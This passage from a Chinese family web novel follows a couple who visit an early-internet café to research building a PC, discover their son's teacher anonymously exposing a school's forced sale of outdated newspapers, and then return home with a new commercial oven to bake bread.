赵如月对儿子说道:“既然你们老师这么说,那这事你也别管了,这个报纸你想看就看,不想看就收起来。” “嗯,妈妈你去市里能给我买一本英汉词典吗?我还想要一个丹萍姐那样的MP3听英语。” 赵如月:“……”好熟悉的借口。 不过说这话的是她家孩子,她就觉得这个借口的可信度高了很多。 “英汉词典可以在市里买,但是MP3要等一段时间,我先给你买个录音机怎么样?可以把你读英语的声音录下来,纠正读音错误,也可以收听广播。” “也行。”宁时秋不挑,有就行了。 赵如月又看向闺女:“妹妹呢?妹妹想要什么?” 宁时夏想半天,也想不到自己要买什么,后面干脆说跟哥哥一样。 宁时秋嫌弃地戳了戳妹妹胖嘟嘟的脸:“跟屁虫!” 手感太好,没忍住戳了好几下。 宁时夏毫不示弱地也戳回去:“我是跟屁虫,你就是臭屁大王!” “跟屁虫!” “臭屁大王!” “跟屁虫!” “臭屁大王!” …… 兄妹俩很快就幼稚地打成一团。 赵如月知道他们就是闹着玩,也不管他们,把那一摞过期报纸拿到书房,收进了柜子里。 不过到了晚上,她下课回家后,看到儿子又把那一摞报纸拿出来了,正在书房里教闺女读报纸上的一篇小短文。 赵如月悄悄地走进去,看到报纸的纸面没有任何笔墨的痕迹,但旁边的笔记本上,记了不少笔记。 听到动静,两个孩子停下来看向她:“妈妈,你回来了!” “嗯,这么晚了,明天再看吧,小心眼睛近视。” 宁时夏指了指报纸上的那篇小短文:“还差一点点我就学完了。” “这种文章,小秋也能看懂啊?”赵如月知道儿子会自学,但没想到他已经自学到这种程度。 镇小学虽然三年级就开始教,但就跟教着玩一样,也不考背单词、句子、文章段落什么的,考试都能翻书找答案。 赵如月没想到,宁时秋已经自学到了这种程度。 她突然感觉有点愧疚,自己好像又耽误孩子了,竟然都没想过给他买什么课外的辅导书。 宁时秋打开一个放在桌上没被打开的硬纸壳本子给她看,里面赫然是一张张写着单词的纸。 赵如月仔细一看,不是手写的单词,像是从书上撕下来的单词表。 “我已经学会英语音标了,这是妹妹帮我去回收站在一些英语课本后面薅的,我不会的单词就在上面找,就是太麻烦了,不如有检索目录的英汉词典方便。” “要不要妈妈在市里给你买点辅导书?” 宁时秋一听,赶紧摇头拒绝:“不用不用,我现在还用不上。”买回来不写他觉得浪费,写又觉得累,还不如不买。 宁时秋一本正经的说:“下次你和爸爸有空带我们去的时候,我再自己挑,要不我也不知道市里有什么书,又要买哪种,老师都没给我们推荐。” “也是,那我去洗澡了,你们俩看完这篇就早点睡吧。” 好不容易把妈妈哄走,宁时秋松了一口气,继续教妹妹读。 赵如月让两个孩子早点睡,她洗完澡回到房间后,自己却拿着一本计算机相关的书看了起来。 把算账的活扔给了宁绍明。 看完后,赵如月转头对宁绍明说:“我听人说过,买电脑门道很多,水也深,一不小心就会踩坑,可惜县城能买到的相关书籍还是太少,而且多是一些理论上的东西,要是能多弄到一些实用的资料就好了。” 宁绍明从账本里抬起头:“要不问问你夜校的老师?” “对呀,我怎么把老师忘了,明天上完课我就去问问,要是老师也不懂的话,去市里那天买完东西如果还有空,我们就去找个网吧,上网搜一搜,看看有没有电脑大神在网上发学习教程和组装教程,我觉得在网上大概率可以找得到,到时候你跟我一起去呗?” “好啊。”宁绍明没去过,但她想去也愿意陪着。 赵如月没去过网吧,对于网吧印象,全都是道听途说。 而且她当初还是那种,觉得网络是害人玩意儿的家长。 虽然不至于疯狂到送孩子去戒网瘾学校的程度,但也确实很不喜欢孩子上网。 在很长一段时间内,她对网吧也有刻板印象。 觉得网吧就是辍学的坏学生才去的地方,谁去谁就是堕落了,一辈子可能都要毁了。 后来她被狠狠打脸了。 因为在拥有智能手机后,她自己也沉迷网络无法自拔。 也是在赵如月自己也上网后,打破了信息壁垒。 赵如月才知道,国内网络发展初期,因为上网门槛挺高,网民素质比较高,这个时期的网民中,真正有本事的人占比也很大。 如果在国内的网页或者论坛搜不到的话,她还可以先学几个相关词汇,试着去外网用关键词搜一搜,现在网络上还没有墙,不用翻墙就能出去。 搜出来的东西,她看不懂没关系,可以打印出来带回家,试着问问儿子能不能翻译一下。 儿子不会不是还有老师嘛,可以花钱请老师帮忙翻译,小学老师也不会还能找初中老师。 方法总比困难多,给老师赚点外快,总比被电脑城老板坑钱好。 赵如月这么想着也就这么干了,去市里那天,她甚至等不及先去买小灵通和影碟机,再去找网吧。 一到市里,她就拉着宁绍明直奔最近的网吧:“我觉得我们还是先去网吧查资料比较好,先买东西万一在网吧被偷了怎么办。” 网吧里没她当初对网吧的刻板印象那么坏,但也是鱼龙混杂什么人都有,一不小心还真会丢东西。 没曾想,进去玩了一个多小时后,竟然在这里遇到了一个熟人。 赵如月辨认了一会儿,困惑地拽了拽旁边另一台机子前,正在用二指禅打字的宁绍明:“你看看那个人,是不是小秋的班主任纪老师?” 宁绍明顺着她指的方向看过去:“还真是,不过纪老师怎么看起来鬼鬼祟祟的?” 第102章 纪慧萱不是第一次来网吧,但是这一次她比以往任何一次都要紧张。 明明还什么都没做,要做的也不是坏事,却像个担心被老师家长突击找来的未成年网瘾少年,左顾右盼担心被发现带走。 她知道这些提前的担心有点多余,也依然免不了内心的忐忑。 纪慧萱熟练地打开电脑,又打开一个论坛,噼里啪啦地开始打字,编辑帖子标题——远程兼职,名额有限,高薪限时,不限门槛、不限学历,不限经验,手快有,手慢无,速来! 接着她开始编辑兼职内容,编辑到一半又停下,思索半晌又把编辑好的兼职内容全部删掉。 缩小论坛网页,点击桌面的小企鹅,重新申请一个企鹅号。 直接把企鹅号复制粘贴到帖子内容的位置,附上一句:有意者请添加该企鹅号,招到足够名额,将禁止添加并删除此贴。 大厅外面的赵如月和宁绍明,在看着纪慧萱进入包间之后就不再关注了,他们对人家的私事没那么大的好奇心。 又把目光放回电脑屏幕上。 宁绍明第一次接触网络,对什么都感觉很新奇。 连金山打字通都玩得很开心,准备练一练标准手法的五笔打字,争取早日摆脱二指禅的龟速打字模式。 赵如月却觉得现在可以玩的东西太少了。 他们刚上机时,她简单地教了教宁绍明怎么玩,就第一时间用自己这台电脑,先给自己和宁绍明,还有两个孩子都分别申请了两个企鹅号。 8位数的企鹅号,很有年代感。 申请好,互相添加了好友,赵如月就这么把自己的企鹅号挂着,时不时也会有一个添加好友的提示音响起。 现在的网友都很热情,到处加人,加上就能开始唠,网上戾气很少。 赵如月看着好友申请的图标跳了一会儿,全部点击拒绝,然后就甚至了不允许添加。 转而去浏览现在比较火的论坛,这个论坛看一眼,那个论坛看一眼,她对这些论坛都不太了解,不知道那些论坛计算机爱好者比较多。 现在的搜索系统也不太好用,她只能先到处看一看,再试着发帖问,大不了在所有论坛都发个帖子,总能遇到好心人指点。 到处逛一圈也没花赵如月多少时间,她挑选出一个看起来人比较多、活跃度也比较高的论坛,准备在这个论坛发帖问,如果这个就能问道的话,就不用再在其他论坛注册别的论坛的账号发帖了。 赵如月编辑好帖子,发出去后,论坛页面刷新。 网速比较慢,网页没那么快刷新出来。 一个论坛在刷新着,她就去看其他论坛,过一会儿再回来,看自己的帖子有没有人回复。 没有人回复就自己给自己顶帖,要不然帖子就没有曝光,看到的人更少。 再次一次刷新网页,赵如月被一个新发的帖子吸引。 “现在网上就有杀猪盘了?” 宁绍明听到她的话问:“什么杀猪盘?” “你看,就是这个,以后你要是在网上看到这种夸张的信息可别相信。” 赵如月点开那个帖子:“什么高薪不限学历不限经验的,就是诱惑别人上钩的饵,天上掉下来的馅饼,不一定能吃到嘴里,但被砸到肯定很疼。” 她把页面往下滑,看到回复的人还不少,有人还真去加那个企鹅号了。 赵如月正想写个回复提醒网友仔细辨别小心上当,就看到有人愤怒地回帖:楼主麻烦给我一个解释,凭什么不考虑华云市云山县的人?你自己发帖说不限这个不限那个,让别人以为真的没门槛,原来是隐形限制地区,歧视我们云山县人吗? 其他人在这个层主下面回复:层主你还算好的,我一个研究生,第一次在网上被人嫌弃了。 还有人真的应聘成功,在这层楼下面得意洋洋地回复:高学历又怎么样,我初中辍学,现在没工作,竟然应聘成功了哈哈哈! 这层楼一时间简直成为了被发帖人嫌弃之人和应聘成功之人的对对碰集合楼。 包间里纪慧萱看到这条回复头都大了,担心暴露自己,人还没招够,她暂时不能删帖,只能赶紧把这个人的质疑删除。 没想到自己的回复被删除后,那个人更生气了,连发好几条质疑,还吸引了华云市其他县市的人进来帮腔。 赵如月和宁绍明对视一眼,都敏锐地察觉到了不太对劲。 他们发现没应聘上的人里除了云山县的人被拒绝让他们摸不着头脑外,其他人的特征还挺明显,高学历、有工作、各方面综合素质比较高。 应聘上的人几乎全都是辍学、没工作、甚至看他们的发言和头像都特别有小混混既视感。 赵如月看到云山县的人被拒,也打算试一下看看自己和宁绍明的猜测准不准。 担心楼主招够了人,她迅速申请两个新的企鹅号,然后把自己这个企鹅号包装一番,包装成青春洋溢的在读大学生,去添加那个帖子上给的企鹅号。 她选择的地区是华云市,申请后,果然直接就被拒绝了。 第二个账号则在网上找了一张,看起来就不像好学生的照片做头像。 起了个网名:花心我无悔。 个性签用古惑仔电影主角陈浩南的经典台词改编:我龙哥能够在X市道上混这么久,全凭三样东西:够狠,义气,兄弟多! 地址直接设置成距离华云市最远的一个省市。 用这个号去申请,还真通过了。 跟对方沟通后,对方说兼职内容就是让她往云山县各部门都寄一封信。 赵如月不知怎么,突然想到刚刚鬼鬼祟祟进包间的纪老师。 这个兼职赵如月肯定是做不了,也不会做的。 所以她直接很直白地试探对方:是要举报云山县某个镇某个学校的校领导吗? 这条消息一发过去,对方就迅速把她删掉了。 赵如月:“……”一试就试出来了,这不是此地无银三百两吗? 她再去看帖子,一刷新,发现那个帖子被删掉了。 果不其然,那个帖子因为被发帖人嫌弃之人和应聘成功之人的对对碰集合楼层,在这个论坛已经是讨论度极高的热帖。 帖子里的聪明人不少,赵如月发现的东西,当然也瞒不过那些聪明人的眼睛。 突然被删掉后,有人开了个讨论贴来分析该贴,根据回帖内容抽丝剥茧,越来越接近真相。 纪慧萱在包间里已经慌死了,她不知道接下来该怎么办了。 本来只是想在匿名论坛上发个帖子找人帮自己寄举报信。 她想当然地觉得,找那种离云山县很远,又什么都不懂、什么都不考虑,非常缺钱,只要有钱就干的人最好。 发帖的论坛账号和加人的企鹅号都是新注册的,随随便便就能注册好几个,谁也不知道账后背后是谁,以后她也不会再用,肯定不会查到自己身上。 没想到竟然会弄巧成拙。 别人发的分析贴纪慧萱也能看到,那个分析帖都快要连榕溪镇都猜到了,一时间这个分析帖成为了该论坛最火的帖子,甚至还有别的论坛的人过来看热闹。 纪慧萱这下真的是紧张到呼吸急促,手都在抖,脑子一片空白,根本没办法思考,也没办法再做什么事。 把自己十个手指的指甲都啃得光秃秃之后,纪慧萱终于冷静下来。 看到分析帖里的网友在云山县几个镇里犹豫不决。 她直接打字回复:大家真聪明,给我省钱了,既然你们都猜到了,我也就不再藏着掖着,兼职招聘贴作废,在此对加我企鹅号的人表示抱歉,接下来我将会发个新帖子,把事情说清楚。 然后直接在回复里贴上新帖子的链接,新帖子里还什么都没有,只有一个标题。 她以连载贴的方式,把这件事情一一道出,以维持帖子的热度,证据从自己的相机导出来,传到网上,不但一起发出去了,还在好几个账号里留了备份。 帖子里提到仅仅是三、四、五、六年级的学生和老师被迫订购的报纸总金额就有几十万,将近一百万。 也许这些钱放在大城市的学校不算什么,但这是一个不发达地区小镇的小学,给学生的还是过期的报纸,其中利润可想而知。 帖子太火,有不少人把帖子内容搬运到了其他地方。 纪慧萱的论坛后台,还有人给她发消息,自称自己是记者,想采访她。 想线下采访的人,纪慧萱一律拒绝了,只接受了线上文字形式的采访。 她现在就想把这事闹大,闹得越大越好,这样没准自己的工作能保住。 就算保不住她也不慌,从六一给学生和家长拍照到现在,她每个月副业的收入已经差不多是主业收入的三倍。 要是在学校干不下去了,她大不了辞掉工作开个照相馆! 过期报纸的事,赵如月没跟宁绍明说,他平时也不特地去关注孩子的学习资料。 赵如月边看着新帖子,边跟他解释事情的来龙去脉。 两人看完目前新帖更新的内容,沉默半晌,一时不会知道该不该去找纪慧萱。 让一个热血未凉的年轻老师孤军奋战,他们心里也不太好受。 可作为没什么背景的普通学生家长,他们能给她提供什么帮助呢? 赵如月叹气说:“一两个家长的声音不一定能引起重视,自家孩子也有可能会被针对,要是大家能联合起来就好了。” 宁绍明道:“要不我们回去后一家一家去问问?反正大部分学生都是镇上的孩子,分头跑一趟也花不了多少时间。” 赵如月考虑的比较多:“我就是担心镇上的家长都不是那么重视孩子的学习,他们不一定在意这件事。” 很多家长给孩子订购并不是在意孩子的学习,而是觉得既然学校都要求交,那只能交了,别人都有就自己家孩子没有,也不太好。 宁绍明说:“他们不在意孩子的学习,总在意自己花出去的钱吧?” 赵如月眼睛一亮:“这倒也是。” 这件事花了不少时间,赵如月做好决定后,赶紧继续找自己要找的资料。 她的帖子也有了几个回复,有人告诉她可以去另一个论坛,装机经验贴和计算机相关知识资料都能再那边找到。 因为那个论坛几乎全都是计算机和电子产品爱好者,讨论的东西比较专业,娱乐性不强,所以受众不多,不如那些八卦多的论坛有名。 如果不是真的对方面感兴趣的人,几乎不会去那个论坛,所以在搜索页面的排行自然不高,很难被注意到。 赵如月半信半疑地按照回帖人提供的网址进入论坛,逛了一会儿后,她发现这里不但有电脑装机经验贴,还有其他各种电子设备的组装、维修经验贴。 赵如月瞬间觉得自己现在就像掉进米缸的老鼠,觉得这个帖子的内容也有用,那个帖子的内容以后没准就要用到。 她恨不得把所有东西全下载下来,搬回家慢慢看。 可惜上网时间有限,他们还有东西要买,赵如月只能先看电脑组装的教程和经验贴。 再把其他自己觉得对自己有帮助和自己感兴趣的帖子收藏起来,等以后自己家里有电脑的再慢慢看。 赵如月一路看下来,觉得现在的人还是比较朴实,分享毫无保留也没有暗广,更没有抖机灵给出错误信息和故意发错误的内容误导别人的人。 她在论坛上发了自己的需求,很快就有人回复建议她该买什么配件。 有时候两个意见不合的人碰上,也会互相吵几句,但都是有理有据地争辩,没有人说不过别人就换着号追着别人咒骂全家。 赵如月根据论坛好心人网友回复的建议,还有看过的经验贴,结合自己的经济水平,整理出了一个合适的配置。 打算等自己的电脑组装好之后,如果好用的话,也发出来给其他人提供参考。 带着收获离开网吧时已经是下午,宁绍明一直沉迷于练习打字,他一边听音乐一边练,也不干别的,让路过的人都觉得看到都觉得很奇葩,浪费钱。 但这么不间断地练习下来,他的五笔输入已经练得有点样子,还打算练会了这个,再练拼音输入,不过他拼音已经忘得差不多了。 走的时候还问赵如月:“咱儿子应该学拼音了吧?” 赵如月听了可真想敲他:“你儿子今年就上四年级了,你说他学没学过呢?能不能对孩子学习上点心!” “这不是……家里孩子在学习上都省心嘛,我就下意识觉得不用管太多,而且我们俩文化程度都不高,学习方面没准再过几年就赶不上孩子了,我总不能对孩子瞎指挥。” 这话让赵如月想要继续数落他的话噎住了,她自己也总是想着这方面不用管太多,可有时候还是忍不住。 昨晚她甚至还在为自己忽略了孩子的学习而感到愧疚。 她要是什么时候能跟这种当爹的一样心大就好了。 宁绍明看她不说话,以为她真生气了,忙道:“我保证以后多关心点,听说市里教育好,市里新华书店的书肯定比县城的多,我们给孩子买点辅导书回去,辅导书辅导书,肯定比我们会辅导,让孩子看那个去。” “你可别瞎出主意了,我昨晚问过小秋,他说暂时不用那些。” “那……那买点故事书?小夏爱看那个,还有漫画什么的,我看她回家就捧着那种小本子看,我就给他们买几套回去,孩子肯定高兴。” “那些都是课外书……” “课外书不也是书么,是书总能交会孩子一点东西。” 赵如月:“那……那也行吧。” 家里孩子确实挺爱看课外书,他们每次去县城的书店看到新出的都会买。 而且两个孩子自制力强,平时学习是学习,玩是玩,分得特别清楚。 既然不耽误学习,看店故事书、漫画书也没什么,就当拓展知识了。 于是夫妻俩先去买了小灵通、影碟机,卖影碟机的地方正好也有录音机,就顺便给两个孩子买了。 买了录音机之后,又在路人的指点下,拐到市里几所学校附近的书店一条街。 赵如月先买了儿子要的英汉词典,想了想干脆直接买两本,一个孩子一本。 小秋比小夏大五岁,以后他上初中、高中,小夏要么还在上小学,要么刚上初中,两个人都不在同一个学校了,当然是一人一本更方便点。 不过故事书和漫画书,赵如月就不知道现在小孩都流行看什么了。 只好问生意最好的那一家书店的老板。 老板忙得脚打后脑勺,随手指了两个书架:“那里都是,你们自己挑吧。” 赵如月和宁绍明只好自己挑,赵如月看到有英文版的故事书,就挑了几本给儿子。 又挑了几本图比较多,看起来比较精致的《格林童话》和《安徒生童话》给女儿。 宁绍明则站在装漫画的书柜前,他比赵如月更不会选,只好看着别的小孩拿什么,他也跟着拿。 然后又随便拿了一些自己看着觉得顺眼的,一起带出去付账了。 书店一条街里也不全是书店,还有一些音像店,赵如月就就顺便在音像店买了不少影碟,有电视剧、电影,也有一些拼盘歌碟和歌手的专辑。 想着既然给孩子买了录音机,那录音机也能播放磁带,就又买了一些歌曲磁带和英语磁带。 买了一大堆东西,现在小偷又多,公交车是不方便坐了,容易顾头不顾腚,被偷东西。 两人打算直接打车到客运站,站在路边,一人提着一部分,正准备招手拦车。 就见一辆车嘀嘀地鸣笛几声后,缓缓在他们面前停下。 车窗降下来,一个男人从车里伸出头跟他们打招呼,两人惊讶地发现,竟然是熟人,平时他们去县城采购东西,帮他们运货的那个司机师傅。 “你怎么也来市里了?” 司机说:“有个老板包车,让我运货来市里,没想到竟然这么巧,在这里遇到了你们,你们现在要回去的话,上车我顺道载你们。” 宁绍明刚想应下,赵如月却抢先说:“师傅你等等,我们商量一下。” “商量什么?”宁绍明不明所以。 “来都来了,既然有车回去,我们不如把你看好的那个烤箱买了,让师傅一起拉回去,我们能省点钱,他也不用空车回去,不是一举两得?” 今天他们在市里的电器城逛时,赵如月早就注意到宁绍明看那些烤箱的眼神。 给他买烤箱这事托好久了,本来说近期就要买,结果她又想跟范小蓉拿货。 如果又要修整刚买的四间房、又买烤箱、又拿货、又准备去拆迁区买房子,他们手上的钱可能要花个精光。 宁绍明担心家里没有备用金的话,万一有点什么事,钱不凑手又要借别人的,就说买烤箱的事可以再往后推一推,暂时不买。 可再推要从夏天推到冬天,没准要推到明年去。 赵如月想着范小蓉那边既然还没动静,干脆就先把宁绍明的烤箱买了。 宁绍明却担心,范小蓉那边谈下来后他们没钱给赵如月拿货。 赵如月直接拍板:“现在还没影的事,不管那么多了。” 然后直接去跟师傅商量运费,本来要空车回去,现在能挣一点,司机师傅也高兴,合作那么久了,已经是熟人,他就给了一个公道价。 回到电器城,一番砍价,最终花了七千多将近八千,把宁绍明看中的商用烤箱拿下。 因为有车,烤箱也没法把车斗的位置占满,他们又在市里买了不少吃的喝的用的,一股脑全往车上堆。 赵如月和宁绍明上了车,东西往后一放,感觉轻松不少,不由说道:“还是有车方便,今天得亏遇到你,要不我们到了县城的客运站,还得大包小包地坐公交车回家。” 她不知道今天具体什么时候回来,所以就没跟郑秀约好来接人。 司机师傅笑道:“你们俩生意那么红火,过不了两三年,肯定也能买车。” 这话让夫妻俩不约而同地叹了口气,司机听到都忍不住笑了。 宁绍明:“十年八年后能买就不错了。” 赵如月:“两三年后,也许能买个三轮车或者摩托车吧。” 他们俩去市里,本来只是买点小巧的东西,结果回来后,家里人一看车上的东西,震惊了。 “怎么还搬回来这么个大家伙!” 赵如月娘家的几个孩子知道今天他们两个都要去市里办事,就全都来了店里,从早上一直在店里帮忙到现在。 这会儿店里没客人,看到他们回来,赵光伟知道自己家买的影碟机也回来了,他立刻兴高采烈地跑回家去,通知他爸妈快来姑姑家拿。 其他人则七手八脚地帮忙把一些小东西往下搬。 烤箱则是宁绍明和司机还有宁时春一起小心翼翼搬下来的。 家里的厨房早就预留了放烤箱的位置,直接搬进去通电就能用。 送走司机后,宁绍明就迫不及待地想用烤箱做点什么,买回来的其他东西,他全都顾不上了。 赵如月早知道会这样,也不管他做什么,让宁时春给他打下手去,就带着几个孩子一起收拾带回来的东西。 边收拾边给孩子们分买回来的零食和一些小玩具。 听着他们叽叽喳喳地说话,看着他们脸上快乐的笑容,赵如月感觉一天的疲惫都消散了不少。 第103章 宁绍明找出食材后,在里面揉面团,揉了半天,到发酵这一步,需要时间等待面团醒发,他突然闲下来,才想起来买回来的一大堆东西还要收拾。 他用买烤箱时卖家送的计时器定好时间,赶紧又带着宁时春出去帮忙收拾东西。 其实外面这么多人帮忙,已经不需要他们做什么。 赵如月的大哥大嫂都来了,一起帮忙把东西都收拾好,正在满脸喜悦地摸影碟机和音响的盒子。 音响是买影碟机送的两个小音响,不是什么高端的音响,但对于只需要听个响不追求品质的人来说,已经很够用了。 赵如月正在给他们分影碟:“我买了不少,我们两家一家几张,换着看。” 陈芳妮欣喜地看着那些碟片:“这都是我们没看过的电影和电视剧,真好,等我们看过就还给你。” 赵如月也不说什么这是送你们的东西之类的话。 因为碟片这东西,到后面互相换来换去地看,哪张在谁家都有可能。 光碟最后的结果大概会是用久了被刮花,卡顿不好用,慢慢就不见了。 想用久一点,除非特意保养,但平时哪有这种闲情逸致去保养这个,能小心点不直接用手接触光盘表面就不错了。 她大哥大嫂带着东西回去之前,赵如月悄悄跟他们说侄女和侄子的事:“我特地劝你们买影碟机,又买这么多以前没看过的影碟,其实也是为了思芸和光伟。” 赵鸿发没听懂妹妹的话,还以为妹妹的意思是看两个孩子喜欢,所以才买这么多回来哄孩子:“你以后别惯着他们,要不然以后这两个倒霉孩子,在家叫我们买什么,我们不给他们买就来找你可怎么好,你也养着两个孩子呢,钱又不是大风刮来的。” “大哥你想多了,咱家孩子教得好,不会乱要东西,他们真提了肯定是真需要,不过我说为了他们买,不是你想的这个意思。” 赵鸿发不懂了:“那是什么?” 陈芳妮嫌弃地用手肘怼了他一下:“还能是为什么,为了家里跟隔壁的那件事呗,你忘了,隔壁那丫头威胁我们闺女,说等她上初中,要找人收拾她呢!” 她都知道小姑子买影碟机是想拉拢镇上的孩子,看县城有人来放电影时那乌泱泱人挤人的场面就知道了,这个方法一用一个准。 到时候那些孩子,不说帮着她家孩子怎么样。 只要能让人知道她闺女在学校认识的人多,各个年级的都熟,再加上同族亲戚里也在镇初中上学的孩子帮衬,人家就不敢轻易欺负她家孩子。 镇初中那些欺负人的坏小孩可不傻,他们欺负人也会挑好欺负的。 “到时候要是闺女真被欺负了,我们找老师管管不就行了吗?”赵鸿发还是没明白,这个事跟影碟机有什么关系,买了影碟机人家就不欺负他闺女了? 听到这话,赵如月和陈芳妮都忍不住要冲他翻白眼了。 赵如月好悬忍住了,知道自己哥哥比较憨厚,想人、想事总是习惯先往好了想。 她耐心解释:“大哥,你自己想想,孩子受了欺负才去找老师,那不也已经被人欺负了吗? 且不说老师能不能处理好,就算老师真能处理好,孩子也难受过了,既然知道事情有可能会发生,孩子会难受,为什么不提前预防?” 陈芳妮也说:“就像知道冬天快来了,受寒会生病,你是觉得等生病了再治好,还是提前多穿衣服,去找三叔拿点汤药喝,提前预防别让人生病好?” “当然是提前预防比较好,不过这事跟冬天受寒不一样吧?冬天受寒肯定会生病,隔壁家的孩子会不会只是那么一说,吓唬吓唬思芸,不一定会真的这么做?毕竟是也我们看着长大的孩子……” 看他脑子转不过弯来,还犟嘴,陈芳妮那白眼是真忍不住了。 她对赵如月道:“你看看你大哥,他总是这么个德性,总以为他不会做的事,人家也不会做!” 赵如月忙劝陈芳妮:“嫂子你别气,我哥这么大年纪,性格怕是改不了了,家里的事还是得靠你多担待,这件事我们也别让他插手了,我说说他,让他别给你拖后腿。” 陈芳妮点头:“你就该多说说他,我平时说他,他还不服气。” 赵鸿发疑惑:“我们平时不是挺好的,你说过我吗?”他真没发现。 陈芳妮被他这话弄得哭笑不得,心里的像被放掉气的气球一样,气一下子全泄掉了。 赵如月也觉得好笑,但该说的还是得说:“哥,你就记得一点,回去后,要是嫂子和两个孩子不让隔壁家的孩子去家里看电影,你可不许和稀泥,说什么‘都是孩子,事情都过去了,让人家看看也没什么,以后好好相处别欺负人就行’这样的话,知道了吗?” 赵鸿发想了想隔壁家孩子想来自家看影碟,结果自家孩子和媳妇儿不让,人家在自家门口嗷嗷哭的样子,顿时提前被尴尬到了。 “那、那多不好意思……” “又不是让你拦,你就说你能不能做到吧!” 赵鸿发看妹妹表情严肃,只好点头答应。 赵如月继续说道:“你可得真记住了,要是嫂子来跟我说,你给她扯后腿了,我可要直接跑到隔壁家门口去,站在他们家门口大声骂他们不要脸。” 赵鸿发脑子里又想到了那种骂街的场面,感觉闹事的主角变成自家人,更尴尬了。 他赶紧摇头:“我这段时间跟别人家换换,每天都去河边放牛,傍晚才回来,回家后就不出门了。”不在家,看不见,总不会做错事,给媳妇儿扯后腿了。 很笨的办法,但是有用就行,这事陈芳妮和赵如月就不管了。 家里的孩子迫不及待地想开影碟机看电影,赵如月把哥嫂送走后,就回后面帮他们把影碟机和音响装好,教他们怎么用。 宁绍明这继续沉迷于做面包,晚饭也顾不上了,所以这天晚上的晚饭是宁时春做的。 宁时春在后面自家用的小厨房做好晚饭,赵如月就说:“今天端到堂屋吃吧,我看他们看电影看得都挪不动脚。” 天热之后他们一般都在院子里吃,院子里有穿堂风,穿堂风吹过来,比吹风扇还舒服。 今天在屋里吃,只好开着两个电风扇一边一个对着摇头吹。 摆好了饭菜,赵如月看向厨房:“你三叔怎么还没出来,我去看看他做得怎么样了。” “三婶,我去就行,你坐下吃饭吧,我刚做完饭,得过一会儿才有胃口,正好在那边看看。” 赵如月说道:“你可别像葫芦娃救爷爷一样,挨个去送,就也蹲在那里回不来了。” “好的,知道了。”宁时春小跑着到前面店里的大厨房。 一进去就闻到了弥漫在厨房的浓郁面包香味,他在后院闻到的全是自己做饭的饭香味,现在再闻到这个对比就很强烈 本来确实没这么胃口的宁时春,闻到不是自己做的东西,顿时感觉到了肚子很饿:“三叔,吃饭了。” “好,正好我这面包也快好了,等会儿拿过去一起吃。”宁绍明这回做的是真正做热狗面包用的那种面包。 因为之前总是用面包状的炸馒头代替,他感觉良心挺过意不去的,但是那个是真好卖,为了挣钱也没办法。 这不,商用烤箱一买回来,他就迫不及待地先做这个了。 计时器订的一声响后,宁绍明打开烤箱,顾不上里面还很热,带上手套就把烤盘拿出来了。 他转头对宁时春道:“好了,你帮我把院子里晾着的竹编小筐拿进来,我用来装面包,那几个倒着晾的小竹筐我洗过了,都是干净的,随便拿哪个都行。” 家里那些竹编小框都是宁达做的,做好先拿到集上卖,卖不出去的筐就拿来给他们装东西。 所以家里有很多竹筐放在仓库里堆着,大的小的都有,用都用不完。 宁时春很快把小竹筐拿进来了,宁绍明用夹子一个一个地把烤好的面包夹到竹筐里,摆得整整齐齐,让人看起来心情舒畅。 他的目光都放在面包上,没注意到宁时春看着他欲言又止。 “行了,先拿这些,剩下的晚点我再装起来,让小秋和小夏给亲戚们送一点,你今晚回老宅的时候也顺便带一点回去给爷爷奶奶和你妈尝尝。” 宁绍明说完提起装满面包的小竹筐:“吃饭去喽——” “三叔等等。”宁时春看他叔要走了,回到堂屋人那么多,自己肯定不好意思再说想说的话,赶紧叫住他。 宁绍明停下脚步看向他:“怎么了?” “那个、那个我、我……那个……”宁时春话刚开始说,脸就红了,支支吾吾好一会儿也说不出来一句完整的话。 宁绍明盯着他通红的耳朵,想起大哥的事发生后,沉默沮丧了一段时间,又很快支棱起来。 最近还每天一有空就发呆傻笑的样子,问道:“有对象了?” “啊?这这这这,三叔你怎么知道?” “我可是过来人,看出来还不容易?有什么事直接说吧,别支支吾吾别别扭扭的,大方点!” 被猜出来后,宁时春说话也利索了:“就是,我想把休息时间调到22号那天,行吗?” 宁时春看过日历,那天刚好逢集,三叔又买了烤箱回来,肯定会做新品卖,生意肯定很忙。 “当然行了,”宁绍明却一点没犹豫地同意了,打趣道:“七夕嘛,哪有不让对象的年轻人去约会的道理,到那天我跟你三婶说,提前给你发这个月的工资,你带人家去县城或者市里,好好玩一天,出去大方些,花钱别抠搜,买东西千万别让人家姑娘掏钱,知道了吗?” “知、知道了,”听到七夕、约会这样的字眼,宁时春脸色再次爆红,“叔,我、我帮你把面包拿进去,你快去吃饭吧。” “啧啧,年轻人!你先去洗把脸吧。”给脸降降温! 宁绍明自己提着小竹筐进去了。 他把小竹筐往桌上一放:“今天想吃面包吃面包,想吃米饭吃米饭。” 他们偶尔也会在县城的蛋糕店买面包回来,给孩子们吃。 家里的孩子已经不像以前一样那么馋面包了,可自己家烤面包算是第一次,大家都觉得很新奇,纷纷把手伸向面包,家里的米粉今天注定要剩下了。 刚出炉的面包热乎又萱软,咬一口奶香、黄油香、发酵的面香交织在一起,众人都给了这些面包好评。 “明天我就把热狗面包用的面包全换成这种,下午有空的话,再做点别的面包试着卖卖看。” 赵如月问:“你想好做什么面包了?” 在家里决定给他买烤箱的时候,他早就想好了。 “就做菠萝包。”这是他思来想去后得到的结论。 菠萝包在他心里的位置,相当于传统面点界的馒头,价格足够便宜,味道又好,简直就是经久不衰的经典食品。 很多人去打工的时候,为了省钱,在镇上买馒头路上吃,打工回来为了省钱,也是买几个菠萝包路上吃。 “除了菠萝包,还有古早蛋糕,古早蛋糕可以切成快,再从中间切成两半,抹上果酱,也可以不在中间抹酱,直接卖。 切片填进杯子里做杯子蛋糕也行,还有生日蛋糕预定也可以重新做起来了,明天我就在门口贴个告示,目前暂时就做这几个,再多就做不过来了。” 说到这里,宁绍明才想起宁时春:“今天自己一个人独挑大梁,感觉怎么样?” 宁时春老实地说:“刚开始还挺紧张,后面一忙起来,满脑子只有客人点单的东西,别的完全顾不上了。” “挺好,那从明天起,米粉就全交给你来做了,我主要做面包蛋糕这些东西。” 这次宁时春不像以往那么没信心了,没犹豫地点头应下。 正吃着饭,家里的电话响了。 电话刚装上去没几天,两个孩子正对接电话这事乐在其中,他俩还商量好,要是电话响了,他们要轮流一人去接一次。 赵如月和宁绍明也由着他们玩,反正也就是刚开始这段时间觉得新奇。 等他们习惯了电话的存在,很快就不会那么感兴趣了。 这次轮到小夏出去接电话,她立刻放下手里啃了一半的面包,跑出去。 